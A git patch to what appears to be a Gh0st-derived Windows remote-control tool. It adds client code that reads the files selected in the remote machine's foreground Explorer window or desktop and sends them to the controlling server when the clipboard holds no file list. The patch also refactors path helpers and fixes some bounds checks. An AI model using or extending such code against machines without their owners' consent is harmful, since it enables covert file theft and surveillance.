From 7c6ee7457465be815f8ca5fb3c83772da571a168 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sat, 10 Jan 2026 23:45:00 +0100 Subject: [PATCH] Improve: `GetForegroundSelectedFiles` if `GetClipboardFiles` failed --- client/ClientDll_vs2015.vcxproj | 1 + client/FileManager.cpp | 18 +- client/ScreenManager.cpp | 45 +++- client/ScreenManager.h | 2 +- client/ghost_vs2015.vcxproj | 1 + common/file_upload.cpp | 206 ++++++++++++++++++ common/file_upload.h | 4 + server/2015Remote/2015RemoteDlg.cpp | 28 +-- server/2015Remote/2015RemoteDlg.h | 2 +- server/2015Remote/2015Remote_vs2015.vcxproj | 6 + .../2015Remote_vs2015.vcxproj.filters | 1 + server/2015Remote/CDlgFileSend.cpp | 2 +- server/2015Remote/ScreenSpyDlg.cpp | 25 +-- server/2015Remote/Server.h | 8 +- 14 files changed, 279 insertions(+), 70 deletions(-) create mode 100644 common/file_upload.cpp diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index 8661502..127e788 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -167,6 +167,7 @@ + diff --git a/client/FileManager.cpp b/client/FileManager.cpp index 1aa7dcb..54c1b2c 100644 --- a/client/FileManager.cpp +++ b/client/FileManager.cpp @@ -5,6 +5,7 @@ #include "FileManager.h" #include #include "ZstdArchive.h" +#include "file_upload.h" typedef struct { DWORD dwSizeHigh; @@ -27,23 +28,6 @@ CFileManager::~CFileManager() m_UploadList.clear(); } -std::vector ParseMultiStringPath(const char* buffer, size_t size) -{ - std::vector paths; - - const char* p = buffer; - const char* end = buffer + size; - - while (p < end) { - size_t len = strlen(p); - if (len > 0) { - paths.emplace_back(p, len); - } - p += len + 1; - } - - return paths; -} std::string GetExtractDir(const std::string& archivePath) { diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index e6627ae..b415eeb 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -569,11 +569,29 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) memcpy(h, szBuffer + 1, ulLength - 1); m_hash = std::string(h, h + 64); m_hmac = std::string(h + 64, h + 80); - BYTE szBuffer[1] = { COMMAND_GET_FOLDER }; - SendData(szBuffer, sizeof(szBuffer)); + auto str = BuildMultiStringPath(files); + BYTE* szBuffer = new BYTE[1 + str.size()]; + szBuffer[0] = { COMMAND_GET_FOLDER }; + memcpy(szBuffer + 1, str.data(), str.size()); + SendData(szBuffer, 1 + str.size()); + SAFE_DELETE_ARRAY(szBuffer); break; } - SendClientClipboard(ulLength > 1); + if (SendClientClipboard(ulLength > 1)) + break; + files = GetForegroundSelectedFiles(); + if (!files.empty()) { + char h[100] = {}; + memcpy(h, szBuffer + 1, ulLength - 1); + m_hash = std::string(h, h + 64); + m_hmac = std::string(h + 64, h + 80); + auto str = BuildMultiStringPath(files); + BYTE* szBuffer = new BYTE[1 + str.size()]; + szBuffer[0] = { COMMAND_GET_FOLDER }; + memcpy(szBuffer + 1, str.data(), str.size()); + SendData(szBuffer, 1 + str.size()); + SAFE_DELETE_ARRAY(szBuffer); + } break; } case COMMAND_SCREEN_SET_CLIPBOARD: { @@ -599,9 +617,13 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) } case COMMAND_GET_FILE: { // 发送文件 - int result = 0; - auto files = GetClipboardFiles(result); std::string dir = (char*)(szBuffer + 1); + char* ptr = (char*)szBuffer + 1 + dir.length() + 1; + auto files = *ptr ? ParseMultiStringPath(ptr, ulLength - 2 - dir.length()) : std::vector{}; + if (files.empty()) { + BOOL result = 0; + files = GetClipboardFiles(result); + } if (!files.empty() && !dir.empty()) { IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) { @@ -648,22 +670,22 @@ VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength) CloseClipboard(); } -VOID CScreenManager::SendClientClipboard(BOOL fast) +BOOL CScreenManager::SendClientClipboard(BOOL fast) { if (!::OpenClipboard(NULL)) - return; + return FALSE; // 改为获取 Unicode 格式 HGLOBAL hGlobal = GetClipboardData(CF_UNICODETEXT); if (hGlobal == NULL) { ::CloseClipboard(); - return; + return FALSE; } wchar_t* pWideStr = (wchar_t*)GlobalLock(hGlobal); if (pWideStr == NULL) { ::CloseClipboard(); - return; + return FALSE; } // Unicode 转 UTF-8 @@ -671,14 +693,14 @@ VOID CScreenManager::SendClientClipboard(BOOL fast) if (utf8Len <= 0) { GlobalUnlock(hGlobal); ::CloseClipboard(); - return; + return TRUE; } if (fast && utf8Len > 200 * 1024) { Mprintf("剪切板文本太长, 无法快速拷贝: %d\n", utf8Len); GlobalUnlock(hGlobal); ::CloseClipboard(); - return; + return TRUE; } LPBYTE szBuffer = new BYTE[utf8Len + 1]; @@ -690,6 +712,7 @@ VOID CScreenManager::SendClientClipboard(BOOL fast) m_ClientObject->Send2Server((char*)szBuffer, utf8Len + 1); delete[] szBuffer; + return TRUE; } diff --git a/client/ScreenManager.h b/client/ScreenManager.h index d4eaad7..07a0d8c 100644 --- a/client/ScreenManager.h +++ b/client/ScreenManager.h @@ -48,7 +48,7 @@ public: std::string m_DesktopID; BOOL m_bIsWorking; BOOL m_bIsBlockInput; - VOID SendClientClipboard(BOOL fast); + BOOL SendClientClipboard(BOOL fast); VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength); std::string m_hash; diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index 98a8dae..02196dd 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -177,6 +177,7 @@ + diff --git a/common/file_upload.cpp b/common/file_upload.cpp new file mode 100644 index 0000000..1a05b04 --- /dev/null +++ b/common/file_upload.cpp @@ -0,0 +1,206 @@ +#include "file_upload.h" +#include +#include +#include +#include +#include +#include +#include +#include + +#pragma comment(lib, "shell32.lib") +#pragma comment(lib, "ole32.lib") +#pragma comment(lib, "oleaut32.lib") + +static std::vector GetDesktopSelectedFiles() +{ + CComPtr pShellWindows; + if (FAILED(pShellWindows.CoCreateInstance(CLSID_ShellWindows))) + return {}; + + CComVariant vLoc(CSIDL_DESKTOP); + CComVariant vEmpty; + long lhwnd; + CComPtr pDisp; + + if (FAILED(pShellWindows->FindWindowSW(&vLoc, &vEmpty, SWC_DESKTOP, &lhwnd, SWFO_NEEDDISPATCH, &pDisp))) + return {}; + + CComQIPtr pServiceProvider(pDisp); + if (!pServiceProvider) + return {}; + + CComPtr pShellBrowser; + if (FAILED(pServiceProvider->QueryService(SID_STopLevelBrowser, IID_IShellBrowser, (void**)&pShellBrowser))) + return {}; + + CComPtr pShellView; + if (FAILED(pShellBrowser->QueryActiveShellView(&pShellView))) + return {}; + + CComPtr pDataObject; + if (FAILED(pShellView->GetItemObject(SVGIO_SELECTION, IID_IDataObject, (void**)&pDataObject))) + return {}; + + FORMATETC fmt = { CF_HDROP, NULL, DVASPECT_CONTENT, -1, TYMED_HGLOBAL }; + STGMEDIUM stg = {}; + + if (FAILED(pDataObject->GetData(&fmt, &stg))) + return {}; + + std::vector vecFiles; + HDROP hDrop = (HDROP)GlobalLock(stg.hGlobal); + if (hDrop) + { + UINT nFiles = DragQueryFileA(hDrop, 0xFFFFFFFF, NULL, 0); + for (UINT i = 0; i < nFiles; i++) + { + char szPath[MAX_PATH]; + if (DragQueryFileA(hDrop, i, szPath, MAX_PATH)) + { + vecFiles.push_back(szPath); + } + } + GlobalUnlock(stg.hGlobal); + } + ReleaseStgMedium(&stg); + + return vecFiles; +} + +std::vector GetForegroundSelectedFiles() +{ + HRESULT hrInit = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); + bool bNeedUninit = SUCCEEDED(hrInit); + + HWND hFore = GetForegroundWindow(); + + // 检查是否是桌面 + HWND hDesktop = FindWindow("Progman", NULL); + HWND hWorkerW = NULL; + + EnumWindows([](HWND hwnd, LPARAM lParam) -> BOOL { + if (FindWindowEx(hwnd, NULL, "SHELLDLL_DefView", NULL)) + { + *(HWND*)lParam = hwnd; + return FALSE; + } + return TRUE; + }, (LPARAM)&hWorkerW); + + if (hFore == hDesktop || hFore == hWorkerW) { + if (bNeedUninit) CoUninitialize(); + return GetDesktopSelectedFiles(); + } + + // 检查是否是资源管理器窗口 + char szClass[256] = {}; + GetClassNameA(hFore, szClass, 256); + + if (strcmp(szClass, "CabinetWClass") != 0 && strcmp(szClass, "ExploreWClass") != 0) { + if (bNeedUninit) CoUninitialize(); + return {}; + } + + // 获取该窗口的选中项 + CComPtr pShellWindows; + if (FAILED(pShellWindows.CoCreateInstance(CLSID_ShellWindows))) { + if (bNeedUninit) CoUninitialize(); + return {}; + } + + std::vector vecFiles; + long nCount = 0; + pShellWindows->get_Count(&nCount); + + for (long i = 0; i < nCount; i++) + { + CComVariant vIndex(i); + CComPtr pDisp; + if (FAILED(pShellWindows->Item(vIndex, &pDisp)) || !pDisp) + continue; + + CComQIPtr pBrowser(pDisp); + if (!pBrowser) + continue; + + SHANDLE_PTR hWnd = 0; + pBrowser->get_HWND(&hWnd); + if ((HWND)hWnd != hFore) + continue; + + CComPtr pDoc; + if (FAILED(pBrowser->get_Document(&pDoc)) || !pDoc) + break; + + CComQIPtr pView(pDoc); + if (!pView) + break; + + CComPtr pItems; + if (FAILED(pView->SelectedItems(&pItems)) || !pItems) + break; + + long nItems = 0; + pItems->get_Count(&nItems); + + for (long j = 0; j < nItems; j++) + { + CComVariant vj(j); + CComPtr pItem; + if (SUCCEEDED(pItems->Item(vj, &pItem)) && pItem) + { + CComBSTR bstrPath; + if (SUCCEEDED(pItem->get_Path(&bstrPath))) + { + // BSTR (宽字符) 转 多字节 + int nLen = WideCharToMultiByte(CP_ACP, 0, bstrPath, -1, NULL, 0, NULL, NULL); + if (nLen > 0) + { + std::string strPath(nLen - 1, '\0'); + WideCharToMultiByte(CP_ACP, 0, bstrPath, -1, &strPath[0], nLen, NULL, NULL); + vecFiles.push_back(strPath); + } + } + } + } + break; + } + + if (bNeedUninit) CoUninitialize(); + + return vecFiles; +} + +// 将多个路径组合成单\0分隔的char数组 +// 格式: "path1\0path2\0path3\0" +std::vector BuildMultiStringPath(const std::vector& paths) +{ + std::vector result; + + for (const auto& path : paths) { + result.insert(result.end(), path.begin(), path.end()); + result.push_back('\0'); + } + + return result; +} + +// 从char数组解析出多个路径 +std::vector ParseMultiStringPath(const char* buffer, size_t size) +{ + std::vector paths; + + const char* p = buffer; + const char* end = buffer + size; + + while (p < end) { + size_t len = strlen(p); + if (len > 0) { + paths.emplace_back(p, len); + } + p += len + 1; + } + + return paths; +} diff --git a/common/file_upload.h b/common/file_upload.h index 7f9e25f..1be9886 100644 --- a/common/file_upload.h +++ b/common/file_upload.h @@ -39,3 +39,7 @@ uint8_t* ScaleBitmap(uint8_t* dst, const uint8_t* src, int srcW, int srcH, int d std::vector PreprocessFilesSimple(const std::vector& inputFiles); std::vector BuildMultiStringPath(const std::vector& paths); + +std::vector ParseMultiStringPath(const char* buffer, size_t size); + +std::vector GetForegroundSelectedFiles(); diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 892c253..e865f54 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -777,7 +777,7 @@ std::vector SplitCString(CString strData) VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, CString ver, - CString startTime, const std::vector& v, CONTEXT_OBJECT * ContextObject) + CString startTime, std::vector& v, CONTEXT_OBJECT * ContextObject) { auto arr = StringToVector(strPCName.GetString(), '/', 2); strPCName = arr[0].c_str(); @@ -790,9 +790,12 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), }; auto id = CONTEXT_OBJECT::CalculateID(data); - if (std::to_string(id) != v[RES_CLIENT_ID]) { + auto id_str = std::to_string(id); + if (v[RES_CLIENT_ID].empty()) { + v[RES_CLIENT_ID] = id_str; + }else if (id_str != v[RES_CLIENT_ID]) { Mprintf("上线消息 - 主机ID错误: calc=%llu, recv=%s, IP=%s, Path=%s\n", - id, v[RES_CLIENT_ID].c_str(), strIP.GetString(), path.GetString()); + id, v[RES_CLIENT_ID].c_str(), strIP.GetString(), path.GetString()); } bool modify = false; CString loc = GetClientMapData(id, MAP_LOCATION); @@ -2369,25 +2372,6 @@ BOOL CMy2015RemoteDlg::AuthorizeClient(const std::string& sn, const std::string& return VerifyMessage(pwd, (BYTE*)passcode.c_str(), passcode.length(), hmac); } -// 从char数组解析出多个路径 -std::vector ParseMultiStringPath(const char* buffer, size_t size) -{ - std::vector paths; - - const char* p = buffer; - const char* end = buffer + size; - - while (p < end) { - size_t len = strlen(p); - if (len > 0) { - paths.emplace_back(p, len); - } - p += len + 1; - } - - return paths; -} - VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) { if (isClosed) { diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index c11afb8..1f6e893 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -227,7 +227,7 @@ public: VOID InitControl(); //初始控件 VOID TestOnline(); //测试函数 VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, - CString ver, CString startTime, const std::vector& v, CONTEXT_OBJECT* ContextObject); + CString ver, CString startTime, std::vector& v, CONTEXT_OBJECT* ContextObject); VOID ShowMessage(CString strType, CString strMsg); VOID CreatStatusBar(); VOID CreateToolBar(); diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 274b6c9..950e12d 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -342,6 +342,12 @@ NotUsing NotUsing + + NotUsing + NotUsing + NotUsing + NotUsing + NotUsing NotUsing diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index 4113dfe..f29fb9e 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -62,6 +62,7 @@ + diff --git a/server/2015Remote/CDlgFileSend.cpp b/server/2015Remote/CDlgFileSend.cpp index b6398f1..13575de 100644 --- a/server/2015Remote/CDlgFileSend.cpp +++ b/server/2015Remote/CDlgFileSend.cpp @@ -73,7 +73,7 @@ LRESULT CDlgFileSend::OnUpdateFileProgress(WPARAM wParam, LPARAM lParam) FileChunkPacket* pChunk = (FileChunkPacket*)lParam; CString status; - double percent = pChunk->fileSize > 0 ? double(pChunk->offset) / pChunk->fileSize * 100.0 : 100.0; + double percent = pChunk->fileSize ? (pChunk->offset + pChunk->dataLength) * 100. / pChunk->fileSize : 100.; m_bIsSending ? status.Format("发送文件(%d/%d): %.2f%%", 1 + pChunk->fileIndex, pChunk->totalNum, percent): status.Format("接收文件(%d/%d): %.2f%%", 1 + pChunk->fileIndex, pChunk->totalNum, percent); diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index 2c6422d..cc6d118 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -340,9 +340,16 @@ VOID CScreenSpyDlg::OnReceiveComplete() std::string folder; if (GetCurrentFolderPath(folder)) { // 发送目录并准备接收文件 - BYTE cmd[300] = { COMMAND_GET_FILE }; + std::string files(szBuffer + 1, szBuffer + len); + int len = 1 + folder.length() + files.length() + 1; + BYTE* cmd = new BYTE[len]; + cmd[0] = COMMAND_GET_FILE; memcpy(cmd + 1, folder.c_str(), folder.length()); - m_ContextObject->Send2Client(cmd, sizeof(cmd)); + cmd[1 + folder.length()] = 0; + memcpy(cmd + 1 + folder.length() + 1, files.data(), files.length()); + cmd[1 + folder.length() + files.length()] = 0; + m_ContextObject->Send2Client(cmd, len); + SAFE_DELETE_ARRAY(cmd); } break; } @@ -1161,20 +1168,6 @@ void CScreenSpyDlg::UpdateCtrlStatus(BOOL ctrl) SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO)); } -// 将多个路径组合成单\0分隔的char数组 -// 格式: "path1\0path2\0path3\0" -std::vector BuildMultiStringPath(const std::vector& paths) -{ - std::vector result; - - for (const auto& path : paths) { - result.insert(result.end(), path.begin(), path.end()); - result.push_back('\0'); - } - - return result; -} - void CScreenSpyDlg::OnDropFiles(HDROP hDropInfo) { if (m_bIsCtrl && m_bConnected) { diff --git a/server/2015Remote/Server.h b/server/2015Remote/Server.h index 56721ce..7321702 100644 --- a/server/2015Remote/Server.h +++ b/server/2015Remote/Server.h @@ -511,7 +511,7 @@ public: for (int i = 0; i < ONLINELIST_MAX; i++) { sClientInfo[i] = s[i]; } - for (int i = 0; i < a.size(); i++) { + for (int i = 0; i < a.size() && i < RES_MAX; i++) { additonalInfo[i] = a[i].c_str(); } } @@ -549,6 +549,12 @@ public: { return additonalInfo[index]; } + void SetAdditionalData(int index, const std::string &value) + { + if (index >= 0 && index < RES_MAX) { + additonalInfo[index] = value.c_str(); + } + } std::string GetGroupName() const override { return GroupName;